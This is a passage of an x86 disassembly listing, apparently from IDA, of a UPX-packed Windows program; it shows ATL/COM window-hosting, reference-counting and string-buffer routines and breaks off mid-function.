; =============== S U B R O U T I N E =======================================
sub_404C88 proc near ; CODE XREF: sub_401E62+30p
; sub_40500B+20p ...
add eax, 4
cmp byte ptr [eax+18h], 0
jz short locret_404C9C
push eax
mov byte ptr [eax+18h], 0
call dword_41D1C8 ; RtlDeleteCriticalSection
locret_404C9C: ; CODE XREF: sub_404C88+7j
retn
sub_404C88 endp
; =============== S U B R O U T I N E =======================================
sub_404C9D proc near ; CODE XREF: sub_4178EC+25p
; sub_417FE1+2Ap ...
push 0
mov eax, offset loc_41BF38
call sub_40C46D
xor ecx, ecx
cmp ebx, ecx
jnz short loc_404CB6
mov eax, 80004003h
jmp short loc_404D03
; ---------------------------------------------------------------------------
loc_404CB6: ; CODE XREF: sub_404C9D+10j
mov [ebx], ecx
push ecx
mov [ebp-4], ecx
mov eax, [ebp+8]
mov eax, [eax]
push ecx
push dword_42EEAC
push eax
call dword_41D288 ; SendMessageW
mov edi, eax
mov esi, edi
neg esi
sbb esi, esi
and esi, 7FFFBFFBh
add esi, 80004005h
mov [ebp+8], edi
js short loc_404CF3
mov eax, [edi]
push ebx
push dword ptr [ebp+0Ch]
push edi
call dword ptr [eax]
mov esi, eax
loc_404CF3: ; CODE XREF: sub_404C9D+49j
or dword ptr [ebp-4], 0FFFFFFFFh
test edi, edi
jz short loc_404D01
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_404D01: ; CODE XREF: sub_404C9D+5Cj
mov eax, esi
loc_404D03: ; CODE XREF: sub_404C9D+17j
call sub_40C50C
retn 8
sub_404C9D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D0B proc near ; CODE XREF: sub_401DBD+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_42DD08, 0
jnz short loc_404D1E
and dword_42DD08, 0
loc_404D1E: ; CODE XREF: sub_404D0B+Aj
push ebx
push [ebp+arg_4]
lea eax, [esi+20h]
push eax
mov ebx, offset a0 ; "0"
call sub_406DD8
pop ecx
pop ecx
movzx eax, ax
push eax
push [ebp+arg_4]
mov ebx, esi
push 0
push 0CF0000h
push offset aAxwinFrameWind ; "AXWIN Frame Window"
push [ebp+arg_0]
push 0
call sub_40691F
pop ebx
pop ebp
retn 8
sub_404D0B endp
; =============== S U B R O U T I N E =======================================
sub_404D56 proc near ; DATA XREF: UPX0:00423F0Co
; UPX0:00423F64o ...
mov eax, offset sub_406819
retn
sub_404D56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D5C proc near ; CODE XREF: sub_401E11+1Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_42DD98, 0
jnz short loc_404D6F
and dword_42DD98, 0
loc_404D6F: ; CODE XREF: sub_404D5C+Aj
push ebx
push [ebp+arg_4]
lea eax, [esi+20h]
push eax
mov ebx, offset dword_42DD68
call sub_406DD8
pop ecx
pop ecx
movzx eax, ax
push eax
push [ebp+arg_4]
mov ebx, esi
push 0
push 0CF0000h
push offset aAxwinUiWindow ; "AXWIN UI Window"
push [ebp+arg_0]
push 0
call sub_40691F
pop ebx
pop ebp
retn 8
sub_404D5C endp
; =============== S U B R O U T I N E =======================================
sub_404DA7 proc near ; CODE XREF: UPX0:004039BBp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_404DB4
add eax, 0FFFFFFC8h
jmp short loc_404DB6
; ---------------------------------------------------------------------------
loc_404DB4: ; CODE XREF: sub_404DA7+6j
xor eax, eax
loc_404DB6: ; CODE XREF: sub_404DA7+Bj
push esi
push edi
mov edi, [esp+8+arg_4]
lea esi, [eax+3Ch]
cmp [esi], edi
jz short loc_404DC8
call sub_4011B4
loc_404DC8: ; CODE XREF: sub_404DA7+1Aj
pop edi
xor eax, eax
pop esi
retn 8
sub_404DA7 endp
; =============== S U B R O U T I N E =======================================
sub_404DCF proc near ; DATA XREF: UPX0:00424140o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
test eax, eax
jz short loc_404DDC
lea ecx, [eax-38h]
jmp short loc_404DDE
; ---------------------------------------------------------------------------
loc_404DDC: ; CODE XREF: sub_404DCF+6j
xor ecx, ecx
loc_404DDE: ; CODE XREF: sub_404DCF+Bj
mov edx, [esp+arg_8]
mov eax, 80004003h
test edx, edx
jz short locret_404E06
mov eax, [ecx+3Ch]
test eax, eax
jz short loc_404DFE
mov ecx, [eax]
push edx
push [esp+4+arg_4]
push eax
call dword ptr [ecx]
jmp short locret_404E06
; ---------------------------------------------------------------------------
loc_404DFE: ; CODE XREF: sub_404DCF+21j
and dword ptr [edx], 0
mov eax, 80004005h
locret_404E06: ; CODE XREF: sub_404DCF+1Aj
; sub_404DCF+2Dj
retn 0Ch
sub_404DCF endp
; =============== S U B R O U T I N E =======================================
sub_404E09 proc near ; DATA XREF: UPX0:004241E0o
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_404E18
mov eax, 80004003h
jmp short locret_404E20
; ---------------------------------------------------------------------------
loc_404E18: ; CODE XREF: sub_404E09+6j
mov dword ptr [eax], 1
xor eax, eax
locret_404E20: ; CODE XREF: sub_404E09+Dj
retn 8
sub_404E09 endp
; =============== S U B R O U T I N E =======================================
sub_404E23 proc near ; DATA XREF: UPX0:004241E4o
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov esi, [esp+4+arg_C]
test esi, esi
jnz short loc_404E33
mov eax, 80004003h
jmp short loc_404E60
; ---------------------------------------------------------------------------
loc_404E33: ; CODE XREF: sub_404E23+7j
xor eax, eax
cmp dword_42DEB0, eax
jnz short loc_404E46
push [esp+4+arg_8]
call sub_401BB2
loc_404E46: ; CODE XREF: sub_404E23+18j
mov ecx, dword_42DEB0
mov [esi], ecx
mov ecx, dword_42DEB0
test ecx, ecx
jz short loc_404E60
mov eax, [ecx]
push ecx
call dword ptr [eax+4]
xor eax, eax
loc_404E60: ; CODE XREF: sub_404E23+Ej
; sub_404E23+33j
pop esi
retn 10h
sub_404E23 endp
; =============== S U B R O U T I N E =======================================
sub_404E64 proc near ; DATA XREF: UPX0:004241E8o
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
push [esp+arg_14]
push [esp+4+arg_10]
push [esp+8+arg_C]
push [esp+0Ch+arg_8]
call sub_401931
retn 18h
sub_404E64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404E7C proc near ; CODE XREF: sub_403418+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
mov ecx, dword_42DEB0
xor eax, eax
test ecx, ecx
jz short loc_404E93
cmp dword_42DEB8, eax
jnz short loc_404EA1
loc_404E93: ; CODE XREF: sub_404E7C+Dj
push [ebp+arg_C]
call sub_401BB2
mov ecx, dword_42DEB0
loc_404EA1: ; CODE XREF: sub_404E7C+15j
test ecx, ecx
jz short loc_404EC0
push [ebp+arg_20]
mov eax, [ecx]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_4]
push [ebp+arg_0]
push ecx
call dword ptr [eax+2Ch]
loc_404EC0: ; CODE XREF: sub_404E7C+27j
pop ebp
retn 24h
sub_404E7C endp
; =============== S U B R O U T I N E =======================================
sub_404EC4 proc near ; CODE XREF: sub_4052ED+3p
push esi
mov esi, ecx
mov dword ptr [esi], offset off_423F04
mov dword ptr [esi+24h], offset off_423F1C
mov dword ptr [esi+28h], 0C0000001h
mov eax, [esi+48h]
test eax, eax
jz short loc_404EEC
and dword ptr [esi+48h], 0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_404EEC: ; CODE XREF: sub_404EC4+1Cj
mov eax, [esi+4]
test eax, eax
jz short loc_404EFA
push eax
call dword_41D304 ; DestroyWindow
loc_404EFA: ; CODE XREF: sub_404EC4+2Dj
mov ecx, dword_42EE90
mov eax, [ecx]
call dword ptr [eax+8]
push esi
call sub_401E62
pop esi
retn
sub_404EC4 endp
; =============== S U B R O U T I N E =======================================
sub_404F0D proc near ; DATA XREF: UPX0:off_423F1Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
push [esp+4+arg_4]
mov ebx, [esp+8+arg_8]
add eax, 0FFFFFFDCh
push eax
mov eax, offset off_423CAC
call sub_4015BD
pop ebx
retn 0Ch
sub_404F0D endp
; =============== S U B R O U T I N E =======================================
sub_404F2C proc near ; CODE XREF: sub_405309+3p
push esi
mov esi, ecx
mov dword ptr [esi], offset off_423F5C
mov dword ptr [esi+24h], offset off_423F70
mov dword ptr [esi+28h], 0C0000001h
mov eax, [esi+48h]
test eax, eax
jz short loc_404F54
and dword ptr [esi+48h], 0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_404F54: ; CODE XREF: sub_404F2C+1Cj
mov eax, [esi+4]
test eax, eax
jz short loc_404F62
push eax
call dword_41D304 ; DestroyWindow
loc_404F62: ; CODE XREF: sub_404F2C+2Dj
mov ecx, dword_42EE90
mov eax, [ecx]
call dword ptr [eax+8]
push esi
call sub_401E62
pop esi
retn
sub_404F2C endp
; =============== S U B R O U T I N E =======================================
sub_404F75 proc near ; DATA XREF: UPX0:00423F20o
; UPX0:00423F74o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
push eax
call dword_41D21C ; InterlockedIncrement
retn 4
sub_404F75 endp
; =============== S U B R O U T I N E =======================================
sub_404F86 proc near ; DATA XREF: UPX0:00423F24o
; UPX0:00423F78o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea eax, [esi+4]
push eax
call dword_41D218 ; InterlockedDecrement
mov edi, eax
test edi, edi
jnz short loc_404FAA
lea ecx, [esi-24h]
test ecx, ecx
jz short loc_404FAA
mov eax, [ecx]
push 1
call dword ptr [eax+4]
loc_404FAA: ; CODE XREF: sub_404F86+14j
; sub_404F86+1Bj
mov eax, edi
pop edi
pop esi
retn 4
sub_404F86 endp
; =============== S U B R O U T I N E =======================================
sub_404FB1 proc near ; DATA XREF: UPX0:off_423F70o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
push [esp+4+arg_4]
mov ebx, [esp+8+arg_8]
add eax, 0FFFFFFDCh
push eax
mov eax, offset off_423D04
call sub_4015BD
pop ebx
retn 0Ch
sub_404FB1 endp
; =============== S U B R O U T I N E =======================================
sub_404FD0 proc near ; CODE XREF: sub_403FBF+35p
; sub_4070E8+39p
push ebx
xor ebx, ebx
mov [esi+4], ebx
push edi
mov [esi+10h], ebx
mov [esi+0Ch], ebx
mov [esi+8], ebx
mov [esi+14h], ebx
mov [esi+18h], ebx
lea edx, [esi+1Ch]
push 6
xor eax, eax
pop ecx
mov edi, edx
rep stosd
mov [edx+18h], bl
mov dword ptr [esi], offset off_423F98
mov ecx, dword_42EE90
mov eax, [ecx]
call dword ptr [eax+4]
pop edi
mov eax, esi
pop ebx
retn
sub_404FD0 endp
; =============== S U B R O U T I N E =======================================
sub_40500B proc near ; CODE XREF: sub_405325+3p
; FUNCTION CHUNK AT 00406AD3 SIZE 00000054 BYTES
push esi
mov esi, ecx
push edi
mov dword ptr [esi], offset off_423F98
lea edi, [esi+18h]
mov dword ptr [edi], 0C0000001h
mov ecx, dword_42EE90
mov eax, [ecx]
call dword ptr [eax+8]
mov eax, edi
call sub_404C88
pop edi
mov ecx, esi
pop esi
jmp loc_406AD3
sub_40500B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405039 proc near ; DATA XREF: UPX0:00423F9Co
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 18h
push eax
call dword_41D21C ; InterlockedIncrement
retn 4
sub_405039 endp
; =============== S U B R O U T I N E =======================================
sub_40504A proc near ; DATA XREF: UPX0:00423FA0o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea eax, [esi+18h]
push eax
call dword_41D218 ; InterlockedDecrement
mov edi, eax
test edi, edi
jnz short loc_40506D
test esi, esi
jz short loc_40506D
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax+1Ch]
loc_40506D: ; CODE XREF: sub_40504A+14j
; sub_40504A+18j
mov eax, edi
pop edi
pop esi
retn 4
sub_40504A endp
; =============== S U B R O U T I N E =======================================
sub_405074 proc near ; DATA XREF: UPX0:off_423F98o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push [esp+4+arg_4]
mov ebx, [esp+8+arg_8]
push [esp+8+arg_0]
mov eax, offset off_423EA4
call sub_4015BD
pop ebx
retn 0Ch
sub_405074 endp
; =============== S U B R O U T I N E =======================================
sub_40508F proc near ; DATA XREF: UPX0:00423FACo
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, [eax+8]
mov [eax+10h], ecx
xor eax, eax
retn 4
sub_40508F endp
; ---------------------------------------------------------------------------
loc_40509E: ; CODE XREF: UPX0:0041BFECj
; UPX0:0041C039j
push dword ptr [esi]
call sub_401000
and dword ptr [esi], 0
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_4050AA proc near ; CODE XREF: sub_404675+19p
push 10h
mov eax, offset loc_41C4F9
call sub_40C4A0
mov eax, [ebp+8]
xor esi, esi
cmp eax, esi
jnz short loc_4050C6
mov eax, 80004003h
jmp short loc_405130
; ---------------------------------------------------------------------------
loc_4050C6: ; CODE XREF: sub_4050AA+13j
push 0F4h
mov [eax], esi
mov dword ptr [ebp-14h], 8007000Eh
mov [ebp-1Ch], esi
mov [ebp-4], esi
call sub_40B45F
pop ecx
mov [ebp-18h], eax
mov byte ptr [ebp-4], 1
cmp eax, esi
jz short loc_4050F3
push eax
call sub_4057F4
mov esi, eax
loc_4050F3: ; CODE XREF: sub_4050AA+3Fj
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_405106
; ---------------------------------------------------------------------------
loc_4050F9: ; DATA XREF: UPX0:00427894o
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, offset loc_405103
retn
; ---------------------------------------------------------------------------
loc_405103: ; DATA XREF: sub_4050AA+53o
mov esi, [ebp-1Ch]
loc_405106: ; CODE XREF: sub_4050AA+4Dj
test esi, esi
jz short loc_40512D
push dword ptr [ebp+8]
inc dword ptr [esi+4]
dec dword ptr [esi+4]
mov eax, [esi]
push offset dword_424264
push esi
call dword ptr [eax]
mov [ebp-14h], eax
test eax, eax
jz short loc_40512D
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax+0Ch]
loc_40512D: ; CODE XREF: sub_4050AA+5Ej
; sub_4050AA+78j
mov eax, [ebp-14h]
loc_405130: ; CODE XREF: sub_4050AA+1Aj
call sub_40C50C
retn 4
sub_4050AA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405138 proc near ; CODE XREF: sub_405CA8+1Fp
; sub_406130+1Dp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push 0
mov dword ptr [esi+18h], 0Fh
call sub_405A76
push [esp+4+arg_0]
mov ecx, esi
call sub_4054D8
mov eax, esi
pop esi
retn 4
sub_405138 endp
; =============== S U B R O U T I N E =======================================
sub_40515A proc near ; CODE XREF: sub_404A01+26p
; sub_404B1F+2Bp
arg_0 = dword ptr 4
push esi
mov esi, ecx
push 0
mov dword ptr [esi+18h], 0Fh
call sub_405A76
push 0FFFFFFFFh
push 0
push [esp+0Ch+arg_0]
mov ecx, esi
call sub_405446
mov eax, esi
pop esi
retn 4
sub_40515A endp
; ---------------------------------------------------------------------------
loc_405180: ; CODE XREF: UPX0:0041BECFj
; UPX0:0041C41Aj ...
push 0
push 1
call sub_4054FB
retn
; =============== S U B R O U T I N E =======================================
sub_40518A proc near ; CODE XREF: sub_4098E0+4Ep
; sub_4098E0+130p ...
arg_0 = dword ptr 4
push esi
mov esi, eax
and dword ptr [esi+14h], 0
xor eax, eax
mov dword ptr [esi+18h], 7
mov [esi+4], ax
mov eax, [esp+4+arg_0]
call sub_405546
mov eax, esi
pop esi
retn 4
sub_40518A endp
; ---------------------------------------------------------------------------
loc_4051AD: ; CODE XREF: UPX0:0041BFA6j
; UPX0:0041BFC9j ...
push 0
push 1
call sub_4055BC
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4051B7 proc near ; CODE XREF: sub_418122+41p
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_48 = byte ptr -48h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
push offset loc_41C4D4
mov eax, large fs:0
push eax
sub esp, 64h
push esi
push edi
mov eax, dword_42A034
xor eax, esp
push eax
lea eax, [esp+7Ch+var_C]
mov large fs:0, eax
push [ebp+arg_0]
mov eax, ebx
call sub_405DF5
mov [esp+7Ch+var_6C], eax
test ebx, ebx
jnz short loc_4051F9
call sub_40B27B
loc_4051F9: ; CODE XREF: sub_4051B7+3Bj
mov eax, [ebx]
mov ecx, [ebx+18h]
lea edi, [esp+7Ch+var_68]
lea esi, [esp+7Ch+var_70]
mov [esp+7Ch+var_70], eax
mov [esp+7Ch+var_64], ecx
mov [esp+7Ch+var_68], eax
call sub_4052D2
test al, al
jnz short loc_40522E
mov eax, [esp+7Ch+var_6C]
mov ecx, [ebp+arg_0]
add eax, 10h
call sub_406F5E
test al, al
jz short loc_40528A
loc_40522E: ; CODE XREF: sub_4051B7+62j
push 6
pop ecx
push [ebp+arg_0]
xor eax, eax
lea edi, [esp+80h+var_60]
lea esi, [esp+80h+var_48]
rep stosd
call sub_405AF0
push 6
pop ecx
lea esi, [esp+7Ch+var_60]
lea edi, [esp+7Ch+var_28]
rep movsd
and [esp+7Ch+var_4], 0
push [esp+7Ch+var_6C]
lea eax, [esp+80h+var_48]
push [esp+80h+var_70]
push eax
lea eax, [esp+88h+var_68]
push eax
mov eax, ebx
call sub_405603
mov ecx, [eax]
mov eax, [eax+4]
push 0
push 1
lea esi, [esp+84h+var_48]
mov [esp+84h+var_70], ecx
mov [esp+84h+var_6C], eax
call sub_4055BC
loc_40528A: ; CODE XREF: sub_4051B7+75j
lea esi, [esp+7Ch+var_70]
call sub_4057C9
add eax, 20h
mov ecx, [esp+7Ch+var_C]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
sub_4051B7 endp
; =============== S U B R O U T I N E =======================================
sub_4052AA proc near ; CODE XREF: sub_404B59+29p
; sub_404C11j
push 0
mov eax, offset loc_41C4B1
call sub_40C46D
mov esi, [ebp+8]
and dword ptr [ebp-4], 0
call sub_405795
push dword ptr [esi]
call sub_40AC11
pop ecx
call sub_40C50C
retn 4
sub_4052AA endp
; =============== S U B R O U T I N E =======================================
sub_4052D2 proc near ; CODE XREF: sub_4051B7+5Bp
; sub_405603+45p ...
mov eax, [esi]
test eax, eax
jz short loc_4052DC
cmp eax, [edi]
jz short loc_4052E1
loc_4052DC: ; CODE XREF: sub_4052D2+4j
call sub_40B27B
loc_4052E1: ; CODE XREF: sub_4052D2+8j
mov eax, [esi+4]
sub eax, [edi+4]
neg eax
sbb eax, eax
inc eax
retn
sub_4052D2 endp
; =============== S U B R O U T I N E =======================================
sub_4052ED proc near ; DATA XREF: UPX0:00423F08o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_404EC4
test [esp+4+arg_0], 1
jz short loc_405303
push esi
call sub_40AC11
pop ecx
loc_405303: ; CODE XREF: sub_4052ED+Dj
mov eax, esi
pop esi
retn 4
sub_4052ED endp
; =============== S U B R O U T I N E =======================================
sub_405309 proc near ; DATA XREF: UPX0:00423F60o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_404F2C
test [esp+4+arg_0], 1
jz short loc_40531F
push esi
call sub_40AC11
pop ecx
loc_40531F: ; CODE XREF: sub_405309+Dj
mov eax, esi
pop esi
retn 4
sub_405309 endp
; =============== S U B R O U T I N E =======================================
sub_405325 proc near ; DATA XREF: UPX0:00423FB4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40500B
test [esp+4+arg_0], 1
jz short loc_40533B
push esi
call sub_40AC11
pop ecx
loc_40533B: ; CODE XREF: sub_405325+Dj
mov eax, esi
pop esi
retn 4
sub_405325 endp
; ---------------------------------------------------------------------------
loc_405341: ; CODE XREF: UPX0:0041C0F5j
; UPX0:0041C4ACj
push dword ptr [eax]
call sub_40AC11
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_40534A proc near ; CODE XREF: sub_41889D+13Dp
push 8
mov eax, offset loc_41C630
call sub_40C46D
mov esi, ecx
and dword ptr [ebp-10h], 0
and dword ptr [ebp-4], 0
push esi
lea ebx, [ebp-10h]
call sub_4053D6
xor ebx, ebx
cmp eax, ebx
jge short loc_405389
mov esi, [esi]
push ebx
push ebx
push esi
push dword ptr [ebp+8]
call sub_404675
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, eax
mov eax, [ebp-10h]
test eax, eax
jmp short loc_4053C4
; ---------------------------------------------------------------------------
loc_405389: ; CODE XREF: sub_40534A+23j
mov [ebp-14h], ebx
push ebx
push offset dword_41D440
lea edx, [ebp-14h]
push edx
push ebx
mov byte ptr [ebp-4], 1
push dword ptr [esi]
mov eax, [ebp-10h]
push dword ptr [ebp+8]
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
mov esi, eax
mov [ebp-4], bl
mov eax, [ebp-14h]
cmp eax, ebx
jz short loc_4053BB
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4053BB: ; CODE XREF: sub_40534A+69j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-10h]
cmp eax, ebx
loc_4053C4: ; CODE XREF: sub_40534A+3Dj
jz short loc_4053CC
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4053CC: ; CODE XREF: sub_40534A:loc_4053C4j
mov eax, esi
call sub_40C50C
retn 4
sub_40534A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4053D6 proc near ; CODE XREF: sub_40534A+1Ap
; sub_41889D+86p
push 0
mov eax, offset loc_41BF38
call sub_40C46D
xor ecx, ecx
cmp ebx, ecx
jnz short loc_4053EF
mov eax, 80004003h
jmp short loc_40543E
; ---------------------------------------------------------------------------
loc_4053EF: ; CODE XREF: sub_4053D6+10j
mov [ebx], ecx
push ecx
mov [ebp-4], ecx
mov eax, [ebp+8]
mov eax, [eax]
push ecx
push dword_42EEA8
push eax
call dword_41D288 ; SendMessageW
mov edi, eax
mov esi, edi
neg esi
sbb esi, esi
and esi, 7FFFBFFBh
add esi, 80004005h
mov [ebp+8], edi
js short loc_40542E
mov eax, [edi]
push ebx
push offset dword_423C0C
push edi
call dword ptr [eax]
mov esi, eax
loc_40542E: ; CODE XREF: sub_4053D6+49j
or dword ptr [ebp-4], 0FFFFFFFFh
test edi, edi
jz short loc_40543C
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_40543C: ; CODE XREF: sub_4053D6+5Ej
mov eax, esi
loc_40543E: ; CODE XREF: sub_4053D6+17j
call sub_40C50C
retn 4
sub_4053D6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405446 proc near ; CODE XREF: sub_40515A+1Bp
; sub_405995+2Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov ebx, ecx
cmp [edi+14h], eax
jnb short loc_40545E
call sub_40ABCE
loc_40545E: ; CODE XREF: sub_405446+11j
mov esi, [edi+14h]
mov eax, [ebp+arg_4]
sub esi, eax
cmp [ebp+arg_8], esi
jnb short loc_40546E
mov esi, [ebp+arg_8]
loc_40546E: ; CODE XREF: sub_405446+23j
mov ecx, ebx
cmp ebx, edi
jnz short loc_40548C
push 0FFFFFFFFh
add esi, eax
push esi
call sub_405A07
push [ebp+arg_4]
mov ecx, ebx
push 0
call sub_405A07
jmp short loc_4054CF
; ---------------------------------------------------------------------------
loc_40548C: ; CODE XREF: sub_405446+2Cj
push 0
push esi
call sub_405A92
test al, al
jz short loc_4054CF
cmp dword ptr [edi+18h], 10h
jb short loc_4054A3
mov edi, [edi+4]
jmp short loc_4054A6
; ---------------------------------------------------------------------------
loc_4054A3: ; CODE XREF: sub_405446+56j
add edi, 4
loc_4054A6: ; CODE XREF: sub_405446+5Bj
mov ecx, [ebx+18h]
cmp ecx, 10h
jb short loc_4054B3
mov eax, [ebx+4]
jmp short loc_4054B6
; ---------------------------------------------------------------------------
loc_4054B3: ; CODE XREF: sub_405446+66j
lea eax, [ebx+4]
loc_4054B6: ; CODE XREF: sub_405446+6Bj
mov edx, [ebp+arg_4]
push esi
add edi, edx
push edi
push ecx
push eax
call sub_4049C9
add esp, 10h
push esi
mov ecx, ebx
call sub_405A76
loc_4054CF: ; CODE XREF: sub_405446+44j
; sub_405446+50j
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn 0Ch
sub_405446 endp
; =============== S U B R O U T I N E =======================================
sub_4054D8 proc near ; CODE XREF: sub_405138+17p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
lea edx, [eax+1]
loc_4054E2: ; CODE XREF: sub_4054D8+Fj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_4054E2
sub eax, edx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_405995
pop esi
retn 4
sub_4054D8 endp
; =============== S U B R O U T I N E =======================================
sub_4054FB proc near ; CODE XREF: sub_404A36+10p
; UPX0:00405184p ...
arg_0 = byte ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_405530
cmp dword ptr [esi+18h], 10h
jb short loc_405530
cmp [esp+4+arg_4], 0
lea eax, [esi+4]
push edi
mov edi, [eax]
jbe short loc_405528
push [esp+8+arg_4]
push edi
push 10h
push eax
call sub_4049C9
add esp, 10h
loc_405528: ; CODE XREF: sub_4054FB+1Bj
push edi
call sub_40AC11
pop ecx
pop edi
loc_405530: ; CODE XREF: sub_4054FB+8j
; sub_4054FB+Ej
push [esp+4+arg_4]
mov ecx, esi
mov dword ptr [esi+18h], 0Fh
call sub_405A76
pop esi
retn 8
sub_4054FB endp
; =============== S U B R O U T I N E =======================================
sub_405546 proc near ; CODE XREF: sub_40518A+18p
push ebx
push edi
mov ebx, eax
lea ecx, [eax+2]
loc_40554D: ; CODE XREF: sub_405546+Fj
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_40554D
sub eax, ecx
sar eax, 1
push ebx
mov ecx, esi
mov edi, eax
call sub_4060F4
test al, al
jz short loc_405586
cmp dword ptr [esi+18h], 8
jb short loc_405574
mov eax, [esi+4]
jmp short loc_405577
; ---------------------------------------------------------------------------
loc_405574: ; CODE XREF: sub_405546+27j
lea eax, [esi+4]
loc_405577: ; CODE XREF: sub_405546+2Cj
sub ebx, eax
push edi
sar ebx, 1
push esi
mov eax, esi
call sub_406028
jmp short loc_4055B9
; ---------------------------------------------------------------------------
loc_405586: ; CODE XREF: sub_405546+21j
mov eax, esi
call sub_4060AE
test al, al
jz short loc_4055B7
mov ecx, [esi+18h]
cmp ecx, 8
jb short loc_40559E
mov eax, [esi+4]
jmp short loc_4055A1
; ---------------------------------------------------------------------------
loc_40559E: ; CODE XREF: sub_405546+51j
lea eax, [esi+4]
loc_4055A1: ; CODE XREF: sub_405546+56j
push ebx
push ecx
push eax
mov eax, edi
call sub_406F3F
add esp, 0Ch
mov ecx, edi
mov eax, esi
call sub_405B16
loc_4055B7: ; CODE XREF: sub_405546+49j
mov eax, esi
loc_4055B9: ; CODE XREF: sub_405546+3Ej
pop edi
pop ebx
retn
sub_405546 endp
; =============== S U B R O U T I N E =======================================
sub_4055BC proc near ; CODE XREF: UPX0:004051B1p
; sub_4051B7+CEp ...
arg_0 = byte ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
jz short loc_4055EE
cmp dword ptr [esi+18h], 8
jb short loc_4055EE
cmp [esp+arg_4], 0
lea eax, [esi+4]
push edi
mov edi, [eax]
jbe short loc_4055E6
push edi
push 8
push eax
mov eax, [esp+10h+arg_4]
call sub_406F3F
add esp, 0Ch
loc_4055E6: ; CODE XREF: sub_4055BC+18j
push edi
call sub_40AC11
pop ecx
pop edi
loc_4055EE: ; CODE XREF: sub_4055BC+5j
; sub_4055BC+Bj
mov ecx, [esp+arg_4]
mov eax, esi
mov dword ptr [esi+18h], 7
call sub_405B16
retn 8
sub_4055BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405603 proc near ; CODE XREF: sub_4051B7+B4p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
mov ebx, eax
xor eax, eax
push esi
